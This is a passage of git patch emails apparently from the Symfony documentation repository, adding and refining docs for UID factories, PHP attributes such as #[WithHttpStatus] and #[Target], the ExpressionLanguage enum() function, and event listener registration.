From de628c81a92edf33d24038671b3a74fcbb143ab1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 14:56:01 +0100
Subject: [PATCH 2713/5766] [Uid] Add `UuidFactory` and `UlidFactory` mentions

---
 components/uid.rst | 126 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 126 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index c2a0c79315b..b2d35f4154f 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -87,6 +87,103 @@ following methods to create a ``Uuid`` object from it::
     The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
     methods were introduced in Symfony 5.3.
 
+You can also use the ``UuidFactory`` to generate UUIDs. First, you may
+configure the behavior of the factory using configuration files::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/uid.yaml
+        framework:
+            uid:
+                default_uuid_version: 6
+                name_based_uuid_version: 5
+                name_based_uuid_namespace: ~
+                time_based_uuid_version: 6
+                time_based_uuid_node: ~
+
+    .. code-block:: xml
+
+        <!-- config/packages/uid.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xmlns:framework="http://symfony.com/schema/dic/symfony"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                        https://symfony.com/schema/dic/services/services-1.0.xsd
+                        http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:uid
+                    default_uuid_version="6"
+                    name_based_uuid_version="5"
+                    name_based_uuid_namespace=""
+                    time_based_uuid_version="6"
+                    time_based_uuid_node=""
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/uid.php
+        <?php
+
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $configurator): void {
+            $services = $configurator->services()
+                ->defaults()
+                ->autowire()
+                ->autoconfigure();
+
+            $configurator->extension('framework', [
+                'uid' => [
+                    'default_uuid_version' => 6,
+                    'name_based_uuid_version' => 5,
+                    'name_based_uuid_namespace' => '',
+                    'time_based_uuid_version' => 6,
+                    'time_based_uuid_node' => '',
+                ],
+            ]);
+        };
+
+Then, you can inject the factory in your services and use it to generate UUIDs based
+on the configuration you defined::
+
+    <?php
+
+    namespace App\Service;
+
+    use Symfony\Component\Uid\Factory\UuidFactory;
+
+    class FooService
+    {
+        private UuidFactory $uuidFactory;
+
+        public function __construct(UuidFactory $uuidFactory)
+        {
+            $this->uuidFactory = $uuidFactory;
+        }
+
+        public function generate(): void
+        {
+            // This creates a UUID of the version given in the configuration file (v6 by default)
+            $uuid = $this->uuidFactory->create();
+
+            $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);
+            $randomBasedUuid = $this->uuidFactory->randomBased();
+            $timestampBased = $this->uuidFactory->timeBased();
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``UuidFactory`` was introduced in Symfony 5.3.
+
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
 
@@ -268,6 +365,35 @@ following methods to create a ``Ulid`` object from it::
     The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
     methods were introduced in Symfony 5.3.
 
+Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to generate them::
+
+    <?php
+
+    namespace App\Service;
+
+    use Symfony\Component\Uid\Factory\UlidFactory;
+
+    class FooService
+    {
+        private UlidFactory $ulidFactory;
+
+        public function __construct(UlidFactory $ulidFactory)
+        {
+            $this->ulidFactory = $ulidFactory;
+        }
+
+        public function generate(): void
+        {
+            $ulid = $this->ulidFactory->create();
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``UlidFactory`` was introduced in Symfony 5.3.
+
 There's also a special ``NilUlid`` class to represent ULID ``null`` values::
 
     use Symfony\Component\Uid\NilUlid;

From 979b307cc3e6b8d7aefd19033676e1ed306b174d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 17:50:17 +0100
Subject: [PATCH 2714/5766] [HttpKernel] Allow using #[WithHttpStatus] for
 setting status code and headers

---
 reference/configuration/framework.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 65d5658ce91..785d2193f7c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3611,6 +3611,27 @@ use the configuration of the first exception that matches ``instanceof``:
                     log_level: 'debug'
                     status_code: 422
 
+You can map a status code and a set of headers to an exception thanks
+to the ``#[WithHttpStatus]`` attribute on the exception class:
+
+.. code-block:: php
+
+        namespace App\Exception;
+
+        use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
+
+        #[WithHttpStatus(422, [
+           'Retry-After' => 10,
+           'X-Custom-Header' => 'header-value',
+        ])]
+        class CustomException extends \Exception
+        {
+        }
+
+.. versionadded:: 6.3
+
+    The ``#[WithHttpStatus]`` attribute was introduced in Symfony 6.3.
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol

From 49e2405e6b5e3639e345709634a99e54a0c374b0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 20:05:48 +0100
Subject: [PATCH 2715/5766] [DependencyInjection] Add #[AsTaggedItem]
 documentation

---
 service_container/tags.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9de74dc922c..7196d5fea93 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -897,3 +897,25 @@ array element. For example, to retrieve the ``handler_two`` handler::
                     ])
                 ;
             };
+
+The #[AsTaggedItem] attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is possible to define both the priority and the index of a tagged
+item thanks to the ``#[AsTaggedItem]`` attribute. This attribute must
+be used directly on the class of the service you want to configure::
+
+    // src/Handler/One.php
+    namespace App\Handler;
+
+    use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem;
+
+    #[AsTaggedItem(index: 'handler_one', priority: 10)]
+    class One
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3 and requires PHP 8.

From ce1630167183e24043c8068acf1a593ca480ef25 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 20:24:09 +0100
Subject: [PATCH 2716/5766] [DependencyInjection] Add #[Autoconfigure] and
 #[AutoconfigureTag] documentation

---
 service_container/tags.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9de74dc922c..f840059afeb 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -117,6 +117,29 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
+It is also possible to use the ``#[AutoconfigureTag]`` attribute directly on the
+base class or interface::
+
+    // src/Security/CustomInterface.php
+    namespace App\Security;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutoconfigureTag;
+
+    #[AutoconfigureTag('app.custom_tag')]
+    interface CustomInterface
+    {
+        // ...
+    }
+
+.. tip::
+
+    If you need more capabilities to autoconfigure instances of your base class
+    like their laziness, their bindings or their calls for example, you may rely
+    on the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
+
+.. versionadded:: 5.3
+
+    The ``#[Autoconfigure]`` and ``#[AutoconfigureTag]`` attributes were introduced in Symfony 5.3.
 
 For more advanced needs, you can define the automatic tags using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerForAutoconfiguration` method.

From 740e44fc42f9ade8a14ac4a51693a17a4caa3f1f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Jan 2023 17:55:37 +0100
Subject: [PATCH 2717/5766] Minor syntax tweak

---
 reference/configuration/framework.rst | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 785d2193f7c..8556d12338b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3612,21 +3612,19 @@ use the configuration of the first exception that matches ``instanceof``:
                     status_code: 422
 
 You can map a status code and a set of headers to an exception thanks
-to the ``#[WithHttpStatus]`` attribute on the exception class:
+to the ``#[WithHttpStatus]`` attribute on the exception class::
 
-.. code-block:: php
+    namespace App\Exception;
 
-        namespace App\Exception;
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
 
-        use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
-
-        #[WithHttpStatus(422, [
-           'Retry-After' => 10,
-           'X-Custom-Header' => 'header-value',
-        ])]
-        class CustomException extends \Exception
-        {
-        }
+    #[WithHttpStatus(422, [
+       'Retry-After' => 10,
+       'X-Custom-Header' => 'header-value',
+    ])]
+    class CustomException extends \Exception
+    {
+    }
 
 .. versionadded:: 6.3
 

From ce8739e680c5e4e8431c056f581eac0fca2c49a4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 20:45:30 +0100
Subject: [PATCH 2718/5766] [DependencyInjection] Add #[Target] documentation

---
 service_container/autowiring.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d74b445a054..084f37587a2 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -531,6 +531,36 @@ If the argument is named ``$shoutyTransformer``,
 But, you can also manually wire any *other* service by specifying the argument
 under the arguments key.
 
+Another possibility is to use the ``#[Target]`` attribute. By using this attribute
+on the argument you want to autowire, you can define exactly which service to inject
+by using its alias. Thanks to this, you're able to have multiple services implementing
+the same interface and keep the argument name decorrelated of any implementation name
+(like shown in the example above).
+
+Let's say you defined the ``app.uppercase_transformer`` alias for the
+``App\Util\UppercaseTransformer`` service. You would be able to use the ``#[Target]``
+attribute like this::
+
+    // src/Service/MastodonClient.php
+    namespace App\Service;
+
+    use App\Util\TransformerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+
+    class MastodonClient
+    {
+        private $transformer;
+
+        public function __construct(#[Target('app.uppercase_transformer')] TransformerInterface $transformer)
+        {
+            $this->transformer = $transformer;
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[Target]`` attribute was introduced in Symfony 5.3.
+
 Fixing Non-Autowireable Arguments
 ---------------------------------
 

From 5232e0d8b24edc5b7b7a284151f167c6c664e8ff Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 9 Jan 2023 18:33:13 +0100
Subject: [PATCH 2719/5766] [Uid] Use constructor property promotion for
 UuidFactory and UlidFactory examples

---
 components/uid.rst | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 0af55566165..332d523eae2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -146,11 +146,8 @@ on the configuration you defined::
 
     class FooService
     {
-        private UuidFactory $uuidFactory;
-
-        public function __construct(UuidFactory $uuidFactory)
+        public function __construct(private UuidFactory $uuidFactory)
         {
-            $this->uuidFactory = $uuidFactory;
         }
 
         public function generate(): void
@@ -337,11 +334,8 @@ Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to g
 
     class FooService
     {
-        private UlidFactory $ulidFactory;
-
-        public function __construct(UlidFactory $ulidFactory)
+        public function __construct(private UlidFactory $ulidFactory)
         {
-            $this->ulidFactory = $ulidFactory;
         }
 
         public function generate(): void

From 8e427e4e021a0803606e85c48ce91e2c5aafe33b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 9 Jan 2023 19:48:45 +0100
Subject: [PATCH 2720/5766] Remove commented rule

---
 .doctor-rst.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index e440e026fa9..5b47aa51c28 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -49,7 +49,6 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
-#    no_app_bundle: ~
 
     #   master
     versionadded_directive_major_version:

From 70465944e0c4b62a2a562099d8945a835957bcaf Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 9 Jan 2023 23:12:32 +0100
Subject: [PATCH 2721/5766] Enable ensure_link_definition_contains_valid_url
 doctor-rst rule

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5b47aa51c28..3c671b143db 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -7,6 +7,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~

From 17b880b64dc34299023248b61ec93f7c2421e9e9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:20:22 +0100
Subject: [PATCH 2722/5766] Use CPP

---
 service_container/autowiring.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f6064970e2c..103d92aae84 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -547,11 +547,10 @@ attribute like this::
 
     class MastodonClient
     {
-        private $transformer;
-
-        public function __construct(#[Target('app.uppercase_transformer')] TransformerInterface $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            #[Target('app.uppercase_transformer')]
+            private TransformerInterface $transformer
+        ){
         }
     }
 

From 4b6ee9ded1f4225861a37cfc5e459768df537591 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:22:43 +0100
Subject: [PATCH 2723/5766] Better highlighting

---
 service_container/tags.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7196d5fea93..0e376d46a4b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -898,8 +898,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
                 ;
             };
 
-The #[AsTaggedItem] attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The ``#[AsTaggedItem]`` attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It is possible to define both the priority and the index of a tagged
 item thanks to the ``#[AsTaggedItem]`` attribute. This attribute must

From 2e6cbc2191905f8844625ee738cccca6cd55d9b4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:22:59 +0100
Subject: [PATCH 2724/5766] Minor

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0e376d46a4b..53e0374b4c8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -918,4 +918,4 @@ be used directly on the class of the service you want to configure::
 
 .. versionadded:: 5.3
 
-    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
+    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3.

From a21f9c891442116ab530a13ea77ed825e0237633 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:23:34 +0100
Subject: [PATCH 2725/5766] Remove obsolete versionadded directive

---
 service_container/tags.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 751ae20c86c..a69b9b1b754 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -911,7 +911,3 @@ be used directly on the class of the service you want to configure::
     {
         // ...
     }
-
-.. versionadded:: 5.3
-
-    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3.

From c6ce66cb240eaa0e1f0bdfb02f15bcc57ebf122c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:24:28 +0100
Subject: [PATCH 2726/5766] Remove obsolete versionadded directive

---
 service_container/autowiring.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 103d92aae84..328d01fe648 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -554,10 +554,6 @@ attribute like this::
         }
     }
 
-.. versionadded:: 5.3
-
-    The ``#[Target]`` attribute was introduced in Symfony 5.3.
-
 Fixing Non-Autowireable Arguments
 ---------------------------------
 

From b93967ad41fd1baac5ea77100bbf5773aa992ea2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:55:00 +0100
Subject: [PATCH 2727/5766] Fix: Typos

---
 service_container/service_subscribers_locators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 3785975549e..c3cf4c6a744 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -307,8 +307,8 @@ or directly via PHP attributes:
             <services>
                 <service id="App\CommandBus">
                     <argument type="service_locator">
-                        <argument key="App\FooCommand" type="service" id="sapp.command_handler.foo"/>
-                        <argument key="App\BarCommandr" type="service" id="app.command_handler.bar"/>
+                        <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/>
+                        <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/>
                         <!-- if the element has no key, the ID of the original service is used -->
                         <argument type="service" id="app.command_handler.baz"/>
                     </argument>

From 42dc55113d2f22d0b349039c59d49e9f8ce8a54d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Dec 2022 08:55:05 +0100
Subject: [PATCH 2728/5766] [ExpressionLanguage] Add `enum` expression function

---
 components/expression_language/syntax.rst | 50 +++++++++++++++++++++--
 1 file changed, 47 insertions(+), 3 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index de0fddf80bf..ae91619b43b 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -127,9 +127,16 @@ Working with Functions
 ----------------------
 
 You can also use registered functions in the expression by using the same
-syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
-function by default: ``constant()``, which will return the value of the PHP
-constant::
+syntax as PHP and JavaScript. The ExpressionLanguage component comes with the
+following functions by default:
+
+* ``constant()``
+* ``enum()``
+
+``constant()`` function
+~~~~~~~~~~~~~~~~~~~~~~~
+
+This function will return the value of a PHP constant::
 
     define('DB_USER', 'root');
 
@@ -139,6 +146,43 @@ constant::
 
 This will print out ``root``.
 
+This also works with class constants::
+
+    namespace App\SomeNamespace;
+
+    class Foo
+    {
+        public const API_ENDPOINT = '/api';
+    }
+
+    var_dump($expressionLanguage->evaluate(
+        'constant("App\\\SomeNamespace\\\Foo::API_ENDPOINT")'
+    ));
+
+This will print out ``/api``.
+
+``enum()`` function
+~~~~~~~~~~~~~~~~~~~
+
+This function will return the case of an enumeration::
+
+    namespace App\SomeNamespace;
+
+    enum Foo
+    {
+        case Bar;
+    }
+
+    var_dump(App\Enum\Foo::Bar === $expressionLanguage->evaluate(
+        'enum("App\\\SomeNamespace\\\Foo::Bar")'
+    ));
+
+This will print out ``true``.
+
+.. versionadded:: 6.3
+
+    The ``enum()`` function was introduced in Symfony 6.3.
+
 .. tip::
 
     To read how to register your own functions to use in an expression, see

From d18c23844c341a2cdb274477ac0a763f9507972c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 8 Dec 2022 13:35:38 +0100
Subject: [PATCH 2729/5766] [PhpUnitBridge] Add `enum_exists` mock

---
 components/phpunit_bridge.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 8650153e378..068753f9461 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -736,6 +736,7 @@ reason, this component also provides mocks for these PHP functions:
 * :phpfunction:`class_exists`
 * :phpfunction:`interface_exists`
 * :phpfunction:`trait_exists`
+* :phpfunction:`enum_exists`
 
 Use Case
 ~~~~~~~~
@@ -798,6 +799,16 @@ classes, interfaces and/or traits for the code to run::
         }
     }
 
+Note that mocking a class with ``ClassExistsMock::withMockedClasses()``
+will make :phpfunction:`class_exists`, :phpfunction:`interface_exists`
+and :phpfunction:`trait_exists` return true.
+
+To register an enumeration and mock :phpfunction:`enum_exists`,
+``ClassExistsMock::withMockedEnums()`` must be used. Note that, like in
+PHP 8.1 and later, calling ``class_exists`` on a enum will return ``true``.
+That's why calling ``ClassExistsMock::withMockedEnums()`` will also register the enum
+as a mocked class.
+
 Troubleshooting
 ---------------
 

From 3dc80fb62798723b9a9b1fc7a02af29905fca7af Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 14:15:20 +0100
Subject: [PATCH 2730/5766] Add missing versionadded directives

---
 components/phpunit_bridge.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 068753f9461..51978320cc7 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -738,6 +738,10 @@ reason, this component also provides mocks for these PHP functions:
 * :phpfunction:`trait_exists`
 * :phpfunction:`enum_exists`
 
+.. versionadded:: 6.3
+
+    The ``enum_exists`` function was introduced in Symfony 6.3.
+
 Use Case
 ~~~~~~~~
 
@@ -809,6 +813,10 @@ PHP 8.1 and later, calling ``class_exists`` on a enum will return ``true``.
 That's why calling ``ClassExistsMock::withMockedEnums()`` will also register the enum
 as a mocked class.
 
+.. versionadded:: 6.3
+
+    The ``enum_exists`` function was introduced in Symfony 6.3.
+
 Troubleshooting
 ---------------
 

From 4150435c75fcb40dc74a6b6047c3717aabbd9bcd Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 14:18:21 +0100
Subject: [PATCH 2731/5766] Remove obsolete versionadded directive

---
 service_container/tags.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 668fafaabc5..913dd417ee4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -137,10 +137,6 @@ base class or interface::
     like their laziness, their bindings or their calls for example, you may rely
     on the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
 
-.. versionadded:: 5.3
-
-    The ``#[Autoconfigure]`` and ``#[AutoconfigureTag]`` attributes were introduced in Symfony 5.3.
-
 For more advanced needs, you can define the automatic tags using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerForAutoconfiguration` method.
 

From b8350735a0581bbb138a3843b2353ebe2f7c6ac2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jan 2023 17:49:37 +0100
Subject: [PATCH 2732/5766] Add missing redirection

---
 _build/redirection_map | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 315b95fda93..064f9c8261a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -536,4 +536,5 @@
 /components/security/firewall /security#the-firewall
 /components/security/secure_tools /security/passwords
 /components/security /security
-/components/var_dumper/advanced /components/var_dumper
+/components/var_dumper/advanced /components/var_dumper#advanced-usage
+/components/yaml/yaml_format /components/yaml#yaml-format

From cc8d4ed5d24680d2a019b37dec4f5e9584e0febd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 6 Jan 2023 13:31:14 +0100
Subject: [PATCH 2733/5766] [HttpKernel] Add #[WithLogLevel] attribute

---
 reference/configuration/framework.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8556d12338b..f40fa07c62b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3630,6 +3630,23 @@ to the ``#[WithHttpStatus]`` attribute on the exception class::
 
     The ``#[WithHttpStatus]`` attribute was introduced in Symfony 6.3.
 
+It is also possible to map a log level on a custom exception class using
+the ``#[WithLogLevel]`` attribute::
+
+    namespace App\Exception;
+
+    use Psr\Log\LogLevel;
+    use Symfony\Component\HttpKernel\Attribute\WithLogLevel;
+
+    #[WithLogLevel(LogLevel::WARNING)]
+    class CustomException extends \Exception
+    {
+    }
+
+.. versionadded:: 6.3
+
+    The ``#[WithLogLevel]`` attribute was introduced in Symfony 6.3.
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol

From cc078fdcaf8f3e7dcffc160e959f5698f402064c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jan 2023 19:30:17 +0100
Subject: [PATCH 2734/5766] Tweaks

---
 configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index ca62ee96df6..fbdae492184 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -20,12 +20,12 @@ directory, which has this default structure:
     │  └─ services.yaml
 
 * The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
-* the ``services.yaml`` file configures the services of the
+* The ``services.yaml`` file configures the services of the
 :doc:`service container </service_container>`;
-* the ``bundles.php`` file enables/disables packages in your application.
+* The ``bundles.php`` file enables/disables packages in your application;
+* The ``config/packages/`` directory stores the configuration of every package
+  installed in your application.
 
-The ``config/packages/`` directory
-stores the configuration of every package installed in your application.
 Packages (also called "bundles" in Symfony and "plugins/modules" in other
 projects) add ready-to-use features to your projects.
 

From 62f516596b9e5efc595bbdb0672400231a3810c7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 18:02:00 +0100
Subject: [PATCH 2735/5766] [EventDispatcher] Allow to omit the event name when
 registering listeners

---
 event_dispatcher.rst | 45 ++++++++++++++++++++++++++------------------
 1 file changed, 27 insertions(+), 18 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index f10a93bc90f..17e4e02019c 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -32,7 +32,7 @@ The most common way to listen to an event is to register an **event listener**::
 
     class ExceptionListener
     {
-        public function onKernelException(ExceptionEvent $event)
+        public function __invoke(ExceptionEvent $event): void
         {
             // You get the exception object from the received event
             $exception = $event->getThrowable();
@@ -60,16 +60,8 @@ The most common way to listen to an event is to register an **event listener**::
         }
     }
 
-.. tip::
-
-    Each event receives a slightly different type of ``$event`` object. For
-    the ``kernel.exception`` event, it is :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`.
-    Check out the :doc:`Symfony events reference </reference/events>` to see
-    what type of object each event provides.
-
 Now that the class is created, you need to register it as a service and
-notify Symfony that it is a "listener" on the ``kernel.exception`` event by
-using a special "tag":
+notify Symfony that it is a event listener by using a special "tag":
 
 .. configuration-block::
 
@@ -78,8 +70,7 @@ using a special "tag":
         # config/services.yaml
         services:
             App\EventListener\ExceptionListener:
-                tags:
-                    - { name: kernel.event_listener, event: kernel.exception }
+                tags: [kernel.event_listener]
 
     .. code-block:: xml
 
@@ -92,7 +83,7 @@ using a special "tag":
 
             <services>
                 <service id="App\EventListener\ExceptionListener">
-                    <tag name="kernel.event_listener" event="kernel.exception"/>
+                    <tag name="kernel.event_listener"/>
                 </service>
             </services>
         </container>
@@ -108,7 +99,7 @@ using a special "tag":
             $services = $containerConfigurator->services();
 
             $services->set(ExceptionListener::class)
-                ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
+                ->tag('kernel.event_listener')
             ;
         };
 
@@ -117,10 +108,7 @@ listener class:
 
 #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's
    the name of the method to be called;
-#. If no ``method`` attribute is defined, try to call the method whose name
-   is ``on`` + "PascalCased event name" (e.g. ``onKernelException()`` method for
-   the ``kernel.exception`` event);
-#. If that method is not defined either, try to call the ``__invoke()`` magic
